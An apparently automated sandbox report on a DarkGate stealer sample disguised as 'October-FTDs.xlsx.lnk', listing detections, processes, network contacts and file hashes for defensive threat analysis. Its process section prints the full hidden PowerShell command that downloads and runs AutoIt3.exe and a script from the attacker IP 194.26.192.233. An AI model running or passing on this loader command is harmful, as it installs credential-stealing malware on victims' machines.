Malware Analysis Report

2024-11-30 11:14

Sample ID 231026-3cvm8abb86
Target October-FTDs.xlsx.lnk
SHA256 06cc011f34188a2156c18c1307fd625ac9a2ed916a4c7e01b40513a826bd24d0
Tags
darkgate civilian1111 stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

06cc011f34188a2156c18c1307fd625ac9a2ed916a4c7e01b40513a826bd24d0

Threat Level: Known bad

The file October-FTDs.xlsx.lnk was found to be: Known bad.

Malicious Activity Summary

darkgate civilian1111 stealer

DarkGate

Blocklisted process makes network request

Downloads MZ/PE file

Executes dropped EXE

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Checks processor information in registry

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-10-26 23:22

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-10-26 23:22

Reported

2023-10-26 23:33

Platform

win10-20231023-en

Max time kernel

310s

Max time network

400s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\October-FTDs.xlsx.lnk

Signatures

DarkGate

stealer darkgate

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Public\AutoIt3.exe N/A

Enumerates physical storage devices

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Users\Public\AutoIt3.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Users\Public\AutoIt3.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\October-FTDs.xlsx.lnk

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "&{ Invoke-WebRequest -Uri "http:/\194.26.192.233/AutoIt3.exe" -OutFile "C:\Users\Public\AutoIt3.exe"; Invoke-WebRequest -Uri "http:/\194.26.192.233/bone.au3" -OutFile "C:\Users\Public\bone.au3"; Invoke-WebRequest -Uri "http://194.26.192.233/document.xlsx" -OutFile "C:\Users\Public\Documents\document.xlsx"; "C:\Users\Public\AutoIt3.exe C:\Users\Public\bone.au3"; C:\Users\Public\Documents\document.xlsx }"

C:\Users\Public\AutoIt3.exe

"C:\Users\Public\AutoIt3.exe" C:\Users\Public\bone.au3

Network

Country Destination Domain Proto
NL 194.26.192.233:80 194.26.192.233 tcp
US 8.8.8.8:53 233.192.26.194.in-addr.arpa udp
US 8.8.8.8:53 0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.8.0.8.0.8.0.8.0.ip6.arpa udp
US 8.8.8.8:53 14.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 7.173.189.20.in-addr.arpa udp
US 8.8.8.8:53 1.208.79.178.in-addr.arpa udp

Files

memory/5000-6-0x000001F52FA80000-0x000001F52FAA2000-memory.dmp

memory/5000-7-0x00007FF857220000-0x00007FF857C0C000-memory.dmp

memory/5000-8-0x000001F517930000-0x000001F517940000-memory.dmp

memory/5000-9-0x000001F517930000-0x000001F517940000-memory.dmp

memory/5000-12-0x000001F52FF90000-0x000001F530006000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1pdf3gcs.qff.ps1

MD5 c4ca4238a0b923820dcc509a6f75849b
SHA1 356a192b7913b04c54574d18c28d46e6395428ab
SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA512 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

memory/5000-27-0x000001F517930000-0x000001F517940000-memory.dmp

memory/5000-41-0x000001F5308F0000-0x000001F531096000-memory.dmp

memory/5000-51-0x000001F517930000-0x000001F517940000-memory.dmp

C:\Users\Public\AutoIt3.exe

MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

C:\Users\Public\bone.au3

MD5 df26679034f7cb5a69fd065e54dc5fc0
SHA1 4a7a998ac1f903378f446d902f1be05c23772965
SHA256 7f0624141092f91ca74a6bf5c51408b445224ed6e504329acb04fee609a897cd
SHA512 81f41adf9bd72fe51ae8c3f4914c30d4533594afb1f11438d389319fa94a9fac691cd718c2cb1ab75cc2d877805a8c899af6d0dd5ad1b2634c2fd7fc5ad326eb

memory/2216-68-0x0000000003FC0000-0x00000000042EA000-memory.dmp

memory/2216-66-0x00000000013F0000-0x00000000017F0000-memory.dmp

memory/5000-69-0x00007FF857220000-0x00007FF857C0C000-memory.dmp